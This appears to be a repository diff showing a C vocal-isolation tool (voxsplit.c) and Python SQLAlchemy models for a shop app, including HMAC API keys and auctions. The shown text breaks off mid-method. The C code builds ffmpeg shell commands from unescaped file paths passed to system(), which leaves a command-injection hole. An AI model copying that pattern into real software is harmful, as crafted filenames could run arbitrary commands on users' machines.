View file

@ -0,0 +1,718 @@
/*
* voxsplit.c — Spectral mid-side vocal isolation tool.
*
* Separates vocals from instrumental in stereo WAV files using spectral
* mid-side decomposition with Wiener masking. No ML dependencies.
*
* Algorithm: Vocals are almost always panned center in professional mixes.
* 1. STFT both channels (Hann window, 4096 samples, 75% overlap)
* 2. Decompose each bin into mid (L+R)/2 and side (L-R)/2
* 3. Wiener mask: vocal_mask = |mid|^s / (|mid|^s + |side|^s + eps)
* 4. Vocals = mask * mid, Instrumental = original - vocals
* 5. ISTFT with overlap-add reconstruction
*
* Zero dependencies beyond libc + libm. Calls ffmpeg for MP3 encoding.
*
* Usage:
* voxsplit song.wav -o split
* voxsplit song.wav --mp3 --strength 1.5 -o karaoke
*
* Build:
* gcc -O2 -o voxsplit voxsplit.c -lm
*/
#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifndef M_PI
#define M_PI 3.14159265358979323846
#endif
#define FFT_SIZE 4096
#define HOP_SIZE 1024 /* 75% overlap: FFT_SIZE / 4 */
#define EPSILON 1e-10
/* ── Complex Arithmetic ────────────────────────────────────────── */
typedef struct { double re, im; } cpx;
static cpx cpx_add(cpx a, cpx b) { return (cpx){a.re + b.re, a.im + b.im}; }
static cpx cpx_sub(cpx a, cpx b) { return (cpx){a.re - b.re, a.im - b.im}; }
static cpx cpx_mul(cpx a, cpx b)
{
return (cpx){a.re * b.re - a.im * b.im, a.re * b.im + a.im * b.re};
}
static cpx cpx_scale(cpx a, double s) { return (cpx){a.re * s, a.im * s}; }
static double cpx_mag2(cpx a) { return a.re * a.re + a.im * a.im; }
static double cpx_mag(cpx a) { return sqrt(cpx_mag2(a)); }
/* ── FFT — Cooley-Tukey Radix-2 In-Place ──────────────────────── */
static void bit_reverse(cpx *buf, int n)
{
for (int i = 1, j = 0; i < n; i++) {
int bit = n >> 1;
while (j & bit) { j ^= bit; bit >>= 1; }
j ^= bit;
if (i < j) {
cpx tmp = buf[i];
buf[i] = buf[j];
buf[j] = tmp;
}
}
}
/* Forward FFT (sign = -1) or inverse FFT (sign = +1). */
static void fft_impl(cpx *buf, int n, int sign)
{
bit_reverse(buf, n);
for (int len = 2; len <= n; len <<= 1) {
double angle = sign * 2.0 * M_PI / len;
cpx wn = {cos(angle), sin(angle)};
for (int i = 0; i < n; i += len) {
cpx w = {1.0, 0.0};
for (int j = 0; j < len / 2; j++) {
cpx u = buf[i + j];
cpx v = cpx_mul(w, buf[i + j + len / 2]);
buf[i + j] = cpx_add(u, v);
buf[i + j + len / 2] = cpx_sub(u, v);
w = cpx_mul(w, wn);
}
}
}
if (sign == 1) {
for (int i = 0; i < n; i++) {
buf[i].re /= n;
buf[i].im /= n;
}
}
}
static void fft_forward(cpx *buf, int n) { fft_impl(buf, n, -1); }
static void fft_inverse(cpx *buf, int n) { fft_impl(buf, n, 1); }
/* ── Window Functions ──────────────────────────────────────────── */
static void make_hann_window(double *win, int n)
{
for (int i = 0; i < n; i++)
win[i] = 0.5 * (1.0 - cos(2.0 * M_PI * i / n));
}
/* ── WAV I/O ───────────────────────────────────────────────────── */
static uint16_t read_le16(FILE *f)
{
uint8_t b[2] = {0};
if (fread(b, 1, 2, f) < 2) return 0;
return b[0] | (b[1] << 8);
}
static uint32_t read_le32(FILE *f)
{
uint8_t b[4] = {0};
if (fread(b, 1, 4, f) < 4) return 0;
return b[0] | (b[1] << 8) | (b[2] << 16) | ((uint32_t)b[3] << 24);
}
static void write_le16(FILE *f, uint16_t v)
{
uint8_t b[2] = {v & 0xFF, (v >> 8) & 0xFF};
fwrite(b, 1, 2, f);
}
static void write_le32(FILE *f, uint32_t v)
{
uint8_t b[4] = {v & 0xFF, (v >> 8) & 0xFF, (v >> 16) & 0xFF, (v >> 24) & 0xFF};
fwrite(b, 1, 4, f);
}
typedef struct {
int sample_rate;
int channels;
int bits_per_sample;
int n_samples; /* total samples (all channels) */
double *left; /* normalized -1..1 */
double *right; /* normalized -1..1 */
int frames; /* samples per channel */
} WavFile;
static int wav_read(const char *path, WavFile *wav)
{
FILE *f = fopen(path, "rb");
if (!f) { fprintf(stderr, "error: cannot open '%s'\n", path); return -1; }
/* RIFF header */
char riff[4] = {0};
if (fread(riff, 1, 4, f) < 4 || memcmp(riff, "RIFF", 4) != 0) {
fprintf(stderr, "error: '%s' is not a WAV file\n", path);
fclose(f); return -1;
}
read_le32(f); /* file size */
char wave[4] = {0};
if (fread(wave, 1, 4, f) < 4 || memcmp(wave, "WAVE", 4) != 0) {
fprintf(stderr, "error: '%s' is not a WAV file\n", path);
fclose(f); return -1;
}
/* Find fmt and data chunks */
int got_fmt = 0;
uint32_t data_size = 0;
int audio_format = 0;
while (!feof(f)) {
char chunk_id[4];
if (fread(chunk_id, 1, 4, f) != 4) break;
uint32_t chunk_size = read_le32(f);
if (memcmp(chunk_id, "fmt ", 4) == 0) {
audio_format = read_le16(f);
wav->channels = read_le16(f);
wav->sample_rate = read_le32(f);
read_le32(f); /* byte rate */
read_le16(f); /* block align */
wav->bits_per_sample = read_le16(f);
/* Skip extra fmt bytes */
if (chunk_size > 16) fseek(f, chunk_size - 16, SEEK_CUR);
got_fmt = 1;
} else if (memcmp(chunk_id, "data", 4) == 0) {
data_size = chunk_size;
break; /* data follows */
} else {
fseek(f, chunk_size, SEEK_CUR);
}
}
if (!got_fmt || data_size == 0) {
fprintf(stderr, "error: '%s' missing fmt or data chunk\n", path);
fclose(f); return -1;
}
if (audio_format != 1) {
fprintf(stderr, "error: '%s' is not PCM (format=%d)\n", path, audio_format);
fclose(f); return -1;
}
if (wav->channels != 2) {
fprintf(stderr, "error: '%s' has %d channel(s) — voxsplit requires stereo input\n",
path, wav->channels);
fclose(f); return -1;
}
int bytes_per_sample = wav->bits_per_sample / 8;
int block = bytes_per_sample * wav->channels;
wav->frames = data_size / block;
wav->n_samples = wav->frames * wav->channels;
wav->left = malloc(wav->frames * sizeof(double));
wav->right = malloc(wav->frames * sizeof(double));
if (!wav->left || !wav->right) {
fprintf(stderr, "error: out of memory (%.1f MB needed)\n",
wav->frames * 2.0 * sizeof(double) / (1024 * 1024));
fclose(f); return -1;
}
/* Read and normalize samples */
uint8_t *raw = malloc(data_size);
if (!raw) {
fprintf(stderr, "error: out of memory for raw audio\n");
fclose(f); return -1;
}
if (fread(raw, 1, data_size, f) < data_size) {
fprintf(stderr, "warning: truncated audio data in '%s'\n", path);
}
fclose(f);
for (int i = 0; i < wav->frames; i++) {
double l, r;
uint8_t *p = raw + i * block;
if (bytes_per_sample == 2) {
int16_t sl = (int16_t)(p[0] | (p[1] << 8));
int16_t sr = (int16_t)(p[2] | (p[3] << 8));
l = sl / 32768.0;
r = sr / 32768.0;
} else if (bytes_per_sample == 3) {
int32_t sl = (p[0] << 8) | (p[1] << 16) | ((int32_t)(int8_t)p[2] << 24);
int32_t sr_v = (p[3] << 8) | (p[4] << 16) | ((int32_t)(int8_t)p[5] << 24);
l = sl / 2147483648.0;
r = sr_v / 2147483648.0;
} else if (bytes_per_sample == 4) {
int32_t sl = (int32_t)(p[0] | (p[1] << 8) | (p[2] << 16) | ((uint32_t)p[3] << 24));
int32_t sr_v = (int32_t)(p[4] | (p[5] << 8) | (p[6] << 16) | ((uint32_t)p[7] << 24));
l = sl / 2147483648.0;
r = sr_v / 2147483648.0;
} else {
fprintf(stderr, "error: unsupported bit depth %d\n", wav->bits_per_sample);
free(raw); free(wav->left); free(wav->right);
return -1;
}
wav->left[i] = l;
wav->right[i] = r;
}
free(raw);
return 0;
}
static int wav_write_stereo(const char *path, const double *left, const double *right,
int frames, int sample_rate)
{
FILE *f = fopen(path, "wb");
if (!f) { fprintf(stderr, "error: cannot create '%s'\n", path); return -1; }
int bytes_per_sample = 2;
int channels = 2;
int data_size = frames * channels * bytes_per_sample;
/* RIFF header */
fwrite("RIFF", 1, 4, f);
write_le32(f, 36 + data_size);
fwrite("WAVE", 1, 4, f);
/* fmt chunk */
fwrite("fmt ", 1, 4, f);
write_le32(f, 16);
write_le16(f, 1); /* PCM */
write_le16(f, channels);
write_le32(f, sample_rate);
write_le32(f, sample_rate * channels * bytes_per_sample); /* byte rate */
write_le16(f, channels * bytes_per_sample); /* block align */
write_le16(f, bytes_per_sample * 8); /* bits */
/* data chunk */
fwrite("data", 1, 4, f);
write_le32(f, data_size);
for (int i = 0; i < frames; i++) {
double l = left[i];
double r = right[i];
/* Clamp */
if (l > 1.0) l = 1.0;
if (l < -1.0) l = -1.0;
if (r > 1.0) r = 1.0;
if (r < -1.0) r = -1.0;
int16_t sl = (int16_t)(l * 32767.0);
int16_t sr = (int16_t)(r * 32767.0);
write_le16(f, (uint16_t)sl);
write_le16(f, (uint16_t)sr);
}
fclose(f);
return 0;
}
static void wav_free(WavFile *wav)
{
free(wav->left);
free(wav->right);
wav->left = wav->right = NULL;
}
/* ── STFT / ISTFT ──────────────────────────────────────────────── */
/*
* Compute STFT of a mono signal.
* Returns a 2D array of complex spectra: n_frames x FFT_SIZE.
* Sets *out_frames to the number of frames.
*/
static cpx *stft(const double *signal, int n_samples, const double *window,
int *out_frames)
{
int n_frames = (n_samples - FFT_SIZE) / HOP_SIZE + 1;
if (n_frames < 1) n_frames = 1;
*out_frames = n_frames;
cpx *spectra = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
if (!spectra) return NULL;
for (int f = 0; f < n_frames; f++) {
int offset = f * HOP_SIZE;
cpx *frame = spectra + (size_t)f * FFT_SIZE;
for (int i = 0; i < FFT_SIZE; i++) {
int idx = offset + i;
double val = (idx < n_samples) ? signal[idx] : 0.0;
frame[i] = (cpx){val * window[i], 0.0};
}
fft_forward(frame, FFT_SIZE);
}
return spectra;
}
/*
* Inverse STFT with overlap-add.
* Takes n_frames x FFT_SIZE complex spectra, returns reconstructed signal.
* Sets *out_samples to length of output.
*/
static double *istft(const cpx *spectra, int n_frames, const double *window,
int *out_samples)
{
int out_len = (n_frames - 1) * HOP_SIZE + FFT_SIZE;
*out_samples = out_len;
double *output = calloc(out_len, sizeof(double));
double *norm = calloc(out_len, sizeof(double));
if (!output || !norm) { free(output); free(norm); return NULL; }
cpx *frame = malloc(FFT_SIZE * sizeof(cpx));
for (int f = 0; f < n_frames; f++) {
int offset = f * HOP_SIZE;
memcpy(frame, spectra + (size_t)f * FFT_SIZE, FFT_SIZE * sizeof(cpx));
fft_inverse(frame, FFT_SIZE);
for (int i = 0; i < FFT_SIZE; i++) {
int idx = offset + i;
if (idx < out_len) {
output[idx] += frame[i].re * window[i];
norm[idx] += window[i] * window[i];
}
}
}
free(frame);
/* Normalize by window sum */
for (int i = 0; i < out_len; i++) {
if (norm[i] > EPSILON)
output[i] /= norm[i];
}
free(norm);
return output;
}
/* ── Separation ────────────────────────────────────────────────── */
typedef struct {
double *vocal_left;
double *vocal_right;
double *inst_left;
double *inst_right;
int frames;
} SplitResult;
static SplitResult separate(const WavFile *wav, double strength)
{
SplitResult result = {0};
int n = wav->frames;
fprintf(stderr, " input: %d frames, %d Hz, %.1fs\n",
n, wav->sample_rate, (double)n / wav->sample_rate);
/* Analysis window */
double window[FFT_SIZE];
make_hann_window(window, FFT_SIZE);
/* STFT both channels */
fprintf(stderr, " computing STFT...\n");
int n_frames_l, n_frames_r;
cpx *spec_l = stft(wav->left, n, window, &n_frames_l);
cpx *spec_r = stft(wav->right, n, window, &n_frames_r);
int n_frames = n_frames_l < n_frames_r ? n_frames_l : n_frames_r;
fprintf(stderr, " %d STFT frames (%d bins each)\n", n_frames, FFT_SIZE);
/* Allocate vocal spectra (same dimensions) */
cpx *vocal_spec_l = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
cpx *vocal_spec_r = calloc((size_t)n_frames * FFT_SIZE, sizeof(cpx));
/* Mid-side decomposition + Wiener masking */
fprintf(stderr, " applying Wiener mask (strength=%.2f)...\n", strength);
for (int f = 0; f < n_frames; f++) {
cpx *fl = spec_l + (size_t)f * FFT_SIZE;
cpx *fr = spec_r + (size_t)f * FFT_SIZE;
cpx *vl = vocal_spec_l + (size_t)f * FFT_SIZE;
cpx *vr = vocal_spec_r + (size_t)f * FFT_SIZE;
for (int b = 0; b < FFT_SIZE; b++) {
/* Mid = (L+R)/2, Side = (L-R)/2 */
cpx mid = cpx_scale(cpx_add(fl[b], fr[b]), 0.5);
cpx side = cpx_scale(cpx_sub(fl[b], fr[b]), 0.5);
double mid_mag = cpx_mag(mid);
double side_mag = cpx_mag(side);
/* Wiener mask: |mid|^s / (|mid|^s + |side|^s + eps) */
double mid_pow = pow(mid_mag, strength);
double side_pow = pow(side_mag, strength);
double mask = mid_pow / (mid_pow + side_pow + EPSILON);
/* Vocal component: mask applied to mid, duplicated to both channels */
cpx vocal = cpx_scale(mid, mask);
vl[b] = vocal;
vr[b] = vocal;
}
}
/* ISTFT to recover vocal signals */
fprintf(stderr, " reconstructing vocals...\n");
int out_l, out_r;
double *vocal_left = istft(vocal_spec_l, n_frames, window, &out_l);
double *vocal_right = istft(vocal_spec_r, n_frames, window, &out_r);
free(vocal_spec_l);
free(vocal_spec_r);
free(spec_l);
free(spec_r);
/* Output length = original length */
int out_frames = n;
if (out_l < out_frames) out_frames = out_l;
if (out_r < out_frames) out_frames = out_r;
/* Instrumental = original - vocals */
fprintf(stderr, " computing instrumental...\n");
double *inst_left = malloc(out_frames * sizeof(double));
double *inst_right = malloc(out_frames * sizeof(double));
for (int i = 0; i < out_frames; i++) {
inst_left[i] = wav->left[i] - vocal_left[i];
inst_right[i] = wav->right[i] - vocal_right[i];
}
result.vocal_left = vocal_left;
result.vocal_right = vocal_right;
result.inst_left = inst_left;
result.inst_right = inst_right;
result.frames = out_frames;
return result;
}
static void split_free(SplitResult *r)
{
free(r->vocal_left);
free(r->vocal_right);
free(r->inst_left);
free(r->inst_right);
}
/* ── MP3 via ffmpeg ────────────────────────────────────────────── */
static int wav_to_mp3(const char *wav_path, const char *mp3_path)
{
char cmd[2048];
snprintf(cmd, sizeof(cmd),
"ffmpeg -y -i \"%s\" -codec:a libmp3lame -b:a 192k \"%s\" 2>/dev/null",
wav_path, mp3_path);
int ret = system(cmd);
if (ret != 0) {
fprintf(stderr, "error: ffmpeg failed (is it installed?)\n");
return -1;
}
return 0;
}
/* ── Input conversion via ffmpeg ────────────────────────────────── */
static int needs_conversion(const char *path)
{
const char *dot = strrchr(path, '.');
if (!dot) return 0;
/* WAV is native — everything else gets converted */
if (strcasecmp(dot, ".wav") == 0) return 0;
return 1;
}
/*
* Convert any audio/video file to stereo 16-bit WAV via ffmpeg.
* Writes to tmp_path. Returns 0 on success.
*/
static int convert_to_wav(const char *input, char *tmp_path, int tmp_len)
{
snprintf(tmp_path, tmp_len, "/tmp/voxsplit_%d.wav", (int)getpid());
char cmd[2048];
snprintf(cmd, sizeof(cmd),
"ffmpeg -y -i \"%s\" -vn -ac 2 -ar 44100 -sample_fmt s16 \"%s\" 2>/dev/null",
input, tmp_path);
int ret = system(cmd);
if (ret != 0) {
fprintf(stderr, "error: ffmpeg could not extract audio from '%s'\n", input);
return -1;
}
return 0;
}
/* ── CLI ───────────────────────────────────────────────────────── */
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s <input> [options]\n"
"\n"
" Spectral mid-side vocal isolation. Splits stereo audio into\n"
" vocals and instrumental tracks.\n"
"\n"
" Accepts WAV directly. MP3, MP4, FLAC, etc. converted via ffmpeg.\n"
"\n"
" --strength F separation aggressiveness (default: 1.0)\n"
" --mp3 also encode MP3 via ffmpeg\n"
" --vocals-only only output vocals\n"
" --instrumental-only only output instrumental\n"
" -o PATH output base path (default: input stem)\n"
"\n"
" Output:\n"
" %s song.wav -o split\n"
" → split-vocals.wav, split-instrumental.wav\n"
"\n"
" %s video.mp4 --mp3 --strength 1.5 -o karaoke\n"
" → extracts audio, splits, writes .wav + .mp3\n"
"\n",
prog, prog, prog);
}
/* Strip directory and extension from path to get stem */
static void get_stem(const char *path, char *stem, int stem_len)
{
/* Find last slash */
const char *base = strrchr(path, '/');
base = base ? base + 1 : path;
/* Find last dot */
const char *dot = strrchr(base, '.');
int len = dot ? (int)(dot - base) : (int)strlen(base);
if (len >= stem_len) len = stem_len - 1;
memcpy(stem, base, len);
stem[len] = '\0';
}
int main(int argc, char **argv)
{
const char *input = NULL;
const char *output = NULL;
double strength = 1.0;
int do_mp3 = 0;
int vocals_only = 0;
int instrumental_only = 0;
for (int i = 1; i < argc; i++) {
if (strcmp(argv[i], "--strength") == 0 && i + 1 < argc) {
strength = atof(argv[++i]);
} else if (strcmp(argv[i], "--mp3") == 0) {
do_mp3 = 1;
} else if (strcmp(argv[i], "--vocals-only") == 0) {
vocals_only = 1;
} else if (strcmp(argv[i], "--instrumental-only") == 0) {
instrumental_only = 1;
} else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
output = argv[++i];
} else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
usage(argv[0]);
return 0;
} else if (argv[i][0] == '-') {
fprintf(stderr, "error: unknown flag '%s'\n", argv[i]);
usage(argv[0]);
return 1;
} else {
input = argv[i];
}
}
if (!input) {
fprintf(stderr, "error: no input file\n");
usage(argv[0]);
return 1;
}
/* Default output base = input stem */
char stem[512];
if (!output) {
get_stem(input, stem, sizeof(stem));
output = stem;
}
if (strength <= 0.0) {
fprintf(stderr, "error: --strength must be positive\n");
return 1;
}
fprintf(stderr, "voxsplit: %s → %s-{vocals,instrumental}.wav\n", input, output);
/* Convert non-WAV input via ffmpeg */
char tmp_wav[512] = {0};
int converted = 0;
const char *wav_path = input;
if (needs_conversion(input)) {
fprintf(stderr, " converting via ffmpeg...\n");
if (convert_to_wav(input, tmp_wav, sizeof(tmp_wav)) != 0) return 1;
wav_path = tmp_wav;
converted = 1;
}
/* Read input */
WavFile wav = {0};
if (wav_read(wav_path, &wav) != 0) {
if (converted) remove(tmp_wav);
return 1;
}
/* Separate */
SplitResult split = separate(&wav, strength);
if (!split.vocal_left) {
fprintf(stderr, "error: separation failed\n");
wav_free(&wav);
return 1;
}
/* Build output paths */
char voc_wav[1024], inst_wav[1024], voc_mp3[1024], inst_mp3[1024];
snprintf(voc_wav, sizeof(voc_wav), "%s-vocals.wav", output);
snprintf(inst_wav, sizeof(inst_wav), "%s-instrumental.wav", output);
snprintf(voc_mp3, sizeof(voc_mp3), "%s-vocals.mp3", output);
snprintf(inst_mp3, sizeof(inst_mp3), "%s-instrumental.mp3", output);
double duration = (double)split.frames / wav.sample_rate;
int wrote = 0;
/* Write vocals */
if (!instrumental_only) {
if (wav_write_stereo(voc_wav, split.vocal_left, split.vocal_right,
split.frames, wav.sample_rate) == 0) {
fprintf(stderr, " wrote %s (%.1fs)\n", voc_wav, duration);
wrote++;
}
if (do_mp3) {
if (wav_to_mp3(voc_wav, voc_mp3) == 0)
fprintf(stderr, " wrote %s\n", voc_mp3);
}
}
/* Write instrumental */
if (!vocals_only) {
if (wav_write_stereo(inst_wav, split.inst_left, split.inst_right,
split.frames, wav.sample_rate) == 0) {
fprintf(stderr, " wrote %s (%.1fs)\n", inst_wav, duration);
wrote++;
}
if (do_mp3) {
if (wav_to_mp3(inst_wav, inst_mp3) == 0)
fprintf(stderr, " wrote %s\n", inst_mp3);
}
}
fprintf(stderr, "done — %d file(s)\n", wrote + (do_mp3 ? wrote : 0));
/* Cleanup */
split_free(&split);
wav_free(&wav);
if (converted) remove(tmp_wav);
return 0;
}

37
make_post_sell/models/__init__.py
View file

@ -1,4 +1,4 @@
from sqlalchemy import engine_from_config
from sqlalchemy import engine_from_config, event
from sqlalchemy.orm import sessionmaker
from sqlalchemy.orm import configure_mappers
import zope.sqlalchemy
@ -25,9 +25,27 @@ from .crypto_processor import *
from .user_crypto_refund_address import *
from .stripe_user_shop import *
from .paypal_user_shop import *
from .shop_search_request import *
from .comment import *
from .shop_subscription import *
from .page_session import *
from .gift_card import *
from .gift_card_transaction import *
from .cart_gift_card import *
from .api_key import *
from .auction import *
from .offer import *
from .cart_auction import *
from .cart_offer import *
from .notification import *
from .tag import *
from .product_tag import *
# run configure_mappers after defining all of the models
# to ensure all relationships can be setup.
@ -35,7 +53,22 @@ configure_mappers()
def get_engine(settings, prefix="sqlalchemy."):
return engine_from_config(settings, prefix)
# SQLite requires check_same_thread=False for multi-threaded access
# (e.g. background reforge threads sharing the engine's connection pool)
url = settings.get(f"{prefix}url", "")
kwargs = {}
if "sqlite" in url:
kwargs["connect_args"] = {"check_same_thread": False}
engine = engine_from_config(settings, prefix, **kwargs)
if engine.url.get_backend_name() == "sqlite":
@event.listens_for(engine, "connect")
def set_sqlite_pragma(dbapi_conn, connection_record):
cursor = dbapi_conn.cursor()
cursor.execute("PRAGMA busy_timeout = 30000")
cursor.close()
return engine
def get_session_factory(engine):

107
make_post_sell/models/api_key.py Normal file
View file

@ -0,0 +1,107 @@
import hmac
import hashlib
import os
import time
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Unicode
from sqlalchemy.orm import relationship
from .meta import (
Base,
RBase,
UUIDType,
now_timestamp,
foreign_key,
)
def _generate_public_key():
return "mps_pub_" + os.urandom(16).hex()
def _generate_secret_key():
return "mps_sec_" + os.urandom(32).hex()
class MpsApiKey(RBase, Base):
"""HMAC key pair for REST API access scoped to a shop.
The public_key identifies the pair and is safe to log.
The secret_key is used to sign requests and is shown once on creation —
it is stored plaintext because HMAC verification requires the original value.
"""
__tablename__ = "mps_api_key"
id = Column(UUIDType, primary_key=True, index=True)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False, index=True)
public_key = Column(Unicode(72), unique=True, nullable=False, index=True)
secret_key = Column(Unicode(136), nullable=False)
label = Column(Unicode(128), nullable=True)
created_timestamp = Column(BigInteger, nullable=False, default=now_timestamp)
last_used_timestamp = Column(BigInteger, nullable=True)
is_active = Column(Boolean, nullable=False, server_default="1")
shop = relationship("Shop", back_populates="api_keys")
@classmethod
def generate(cls, shop, label=None):
"""Create a new key pair for a shop. Returns (api_key, secret_key_plaintext).
The secret_key_plaintext is the raw secret — caller must display it
once and never retrieve it from the DB again.
"""
public_key = _generate_public_key()
secret_key = _generate_secret_key()
key = cls()
key.id = uuid.uuid1()
key.shop = shop
key.public_key = public_key
key.secret_key = secret_key
key.label = label or ""
key.created_timestamp = now_timestamp()
key.is_active = True
return key, secret_key
def verify_signature(self, method, path, timestamp_str, body_bytes, signature):
"""Verify an HMAC-SHA256 request signature.
string_to_sign = "{METHOD}\\n{PATH}\\n{TIMESTAMP}\\n{SHA256_OF_BODY_HEX}"
signature = "sha256=" + hmac_sha256(secret_key, string_to_sign).hexdigest()
Returns True if valid, False otherwise (constant-time comparison).
"""
try:
ts = int(timestamp_str)
except (ValueError, TypeError):
return False
# Replay window: ±300 seconds
if abs(time.time() - ts) > 300:
return False
body_hash = hashlib.sha256(body_bytes).hexdigest()
string_to_sign = f"{method}\n{path}\n{timestamp_str}\n{body_hash}"
expected = (
"sha256="
+ hmac.new(
self.secret_key.encode("utf-8"),
string_to_sign.encode("utf-8"),
hashlib.sha256,
).hexdigest()
)
return hmac.compare_digest(expected, signature)
@property
def masked_secret(self):
"""Last 4 chars of secret for display. Never reveal the full value."""
return "mps_sec_..." + self.secret_key[-4:]
def get_api_key_by_public_key(dbsession, public_key):
return (
dbsession.query(MpsApiKey)
.filter_by(public_key=public_key, is_active=True)
.first()
)

359
make_post_sell/models/auction.py Normal file
View file

@ -0,0 +1,359 @@
"""Auction models — MPS-20.
An auction is a Product whose price is determined by competitive bidding
within a time window. The Product carries `pricing_mode` (0=fixed, 1=auction,
2=auction+buy_now); MpsAuction carries the auction-specific fields and
state machine; MpsBid is one bid per (auction, bidder, attempt); and
MpsAuctionWatcher lets users follow auctions for notifications.
State machine (auction.state):
0 draft — owner editing, not visible
1 scheduled — countdown to start_timestamp
2 active — bidding open
3 ended — bidding closed; winner determined or reserve not met
4 settled — winner paid via cart; product transferred
5 cancelled — owner aborted (pre-active only without admin override)
Soft-close: a bid placed within `soft_close_seconds` of `end_timestamp`
extends `end_timestamp` by `soft_close_seconds`. `original_end_timestamp`
preserves the scheduled close for audit.
See `lib/auction.py` for pure-function bid/proxy/soft-close logic.
"""
import uuid
from sqlalchemy import Column, BigInteger, Boolean, Integer, Unicode
from sqlalchemy.orm import relationship, backref
from .meta import (
Base,
RBase,
UUIDType,
foreign_key,
now_timestamp,
get_object_by_id,
)
from ..lib.currency import cents_to_dollars
# Auction state constants — mirror VISIBILITY_INT_TO_HUMAN style.
AUCTION_STATE_DRAFT = 0
AUCTION_STATE_SCHEDULED = 1
AUCTION_STATE_ACTIVE = 2
AUCTION_STATE_ENDED = 3
AUCTION_STATE_SETTLED = 4
AUCTION_STATE_CANCELLED = 5
AUCTION_STATE_INT_TO_HUMAN = {
AUCTION_STATE_DRAFT: "Draft",
AUCTION_STATE_SCHEDULED: "Scheduled",
AUCTION_STATE_ACTIVE: "Active",
AUCTION_STATE_ENDED: "Ended",
AUCTION_STATE_SETTLED: "Settled",
AUCTION_STATE_CANCELLED: "Cancelled",
}
# Default soft-close window in seconds (mirrors eBay's last-minute extension).
DEFAULT_SOFT_CLOSE_SECONDS = 60
# Default bid increment as a percentage of current high (5%). The model
# stores this as cents — view layer computes default from listed price.
DEFAULT_BID_INCREMENT_IN_CENTS = 100
class MpsAuction(RBase, Base):
"""One auction per Product (1:1). Created when shop owner enables
pricing_mode=1 or 2 on a product."""
id = Column(UUIDType, primary_key=True, index=True)
product_id = Column(
UUIDType,
foreign_key("Product", "id"),
nullable=False,
unique=True,
index=True,
)
shop_id = Column(UUIDType, foreign_key("Shop", "id"), nullable=False, index=True)
state = Column(
Integer,
nullable=False,
default=AUCTION_STATE_DRAFT,
server_default=str(AUCTION_STATE_DRAFT),
)
start_timestamp = Column(BigInteger, nullable=True)
end_timestamp = Column(BigInteger, nullable=True)
original_end_timestamp = Column(BigInteger, nullable=True)
start_price_in_cents = Column(BigInteger, nullable=False, default=0)
reserve_price_in_cents = Column(BigInteger, nullable=True)
buy_now_price_in_cents = Column(BigInteger, nullable=True)
bid_increment_in_cents = Column(
BigInteger, nullable=False, default=DEFAULT_BID_INCREMENT_IN_CENTS
)
soft_close_seconds = Column(
Integer, nullable=False, default=DEFAULT_SOFT_CLOSE_SECONDS
)
# MPS-20: how many units this auction sells (lot size). Default 1.
# For physical products with N inventory, owner can auction K units
# (K <= N) while keeping the other N-K at list price (mode 2).
# Digital products force quantity=1 — auctioning multiple copies of
# a digital file makes no sense (no scarcity).
quantity = Column(
Integer, nullable=False, default=1, server_default="1"
)
winner_user_id = Column(UUIDType, foreign_key("User", "id"), nullable=True)
winning_bid_id = Column(UUIDType, nullable=True)
payment_deadline_timestamp = Column(BigInteger, nullable=True)
currency = Column(Unicode(3), nullable=False, default="USD")
created_timestamp = Column(BigInteger, nullable=False)
updated_timestamp = Column(BigInteger, nullable=False)
product = relationship(
argument="Product",
uselist=False,
backref=backref("auction", uselist=False),
)
shop = relationship(argument="Shop", uselist=False)
winner = relationship(argument="User", uselist=False, foreign_keys=[winner_user_id])
bids = relationship(
argument="MpsBid",
lazy="dynamic",
order_by="MpsBid.created_timestamp.desc()",
back_populates="auction",
cascade="all, delete-orphan",
)
watchers = relationship(
argument="MpsAuctionWatcher",
lazy="dynamic",
back_populates="auction",
cascade="all, delete-orphan",
)
def __init__(self, product, shop, start_price_in_cents=0,
bid_increment_in_cents=DEFAULT_BID_INCREMENT_IN_CENTS,
soft_close_seconds=DEFAULT_SOFT_CLOSE_SECONDS,
currency="USD"):
self.id = uuid.uuid1()
self.product = product
self.shop = shop
self.state = AUCTION_STATE_DRAFT
self.start_price_in_cents = start_price_in_cents
self.bid_increment_in_cents = bid_increment_in_cents
self.soft_close_seconds = soft_close_seconds
self.currency = currency
self.created_timestamp = now_timestamp()
self.updated_timestamp = self.created_timestamp
@property
def is_lot_auction(self):
"""True when this auction sells more than 1 unit at once."""
return self.quantity > 1
@property
def is_draft(self):
return self.state == AUCTION_STATE_DRAFT
@property
def is_scheduled(self):
return self.state == AUCTION_STATE_SCHEDULED
@property
def is_active(self):
return self.state == AUCTION_STATE_ACTIVE
@property
def is_ended(self):
return self.state == AUCTION_STATE_ENDED
@property
def is_settled(self):
return self.state == AUCTION_STATE_SETTLED
@property
def is_cancelled(self):
return self.state == AUCTION_STATE_CANCELLED
@property
def is_terminal(self):
return self.state in (
AUCTION_STATE_SETTLED,
AUCTION_STATE_CANCELLED,
)
@property
def state_human(self):
return AUCTION_STATE_INT_TO_HUMAN.get(self.state, "Unknown")
@property
def time_remaining_ms(self):
"""Milliseconds until end_timestamp; 0 if past or unset."""
if not self.end_timestamp:
return 0
return max(0, self.end_timestamp - now_timestamp())
@property
def has_buy_now(self):
return self.buy_now_price_in_cents is not None
@property
def has_reserve(self):
return self.reserve_price_in_cents is not None
@property
def current_high_in_cents(self):
"""Highest bid amount; falls back to start_price when no bids."""
top = (
self.bids.order_by(None)
.order_by(MpsBid.amount_in_cents.desc())
.first()
)
if top is None:
return self.start_price_in_cents
return top.amount_in_cents
@property
def reserve_met(self):
if not self.has_reserve:
return True
return self.current_high_in_cents >= self.reserve_price_in_cents
@property
def start_price(self):
return cents_to_dollars(self.start_price_in_cents)
@property
def reserve_price(self):
if self.reserve_price_in_cents is None:
return None
return cents_to_dollars(self.reserve_price_in_cents)
@property
def buy_now_price(self):
if self.buy_now_price_in_cents is None:
return None
return cents_to_dollars(self.buy_now_price_in_cents)
@property
def bid_increment(self):
return cents_to_dollars(self.bid_increment_in_cents)
@property
def current_high(self):
return cents_to_dollars(self.current_high_in_cents)
@property
def min_next_bid_in_cents(self):
"""Smallest bid that would be accepted right now."""
if self.bids.count() == 0:
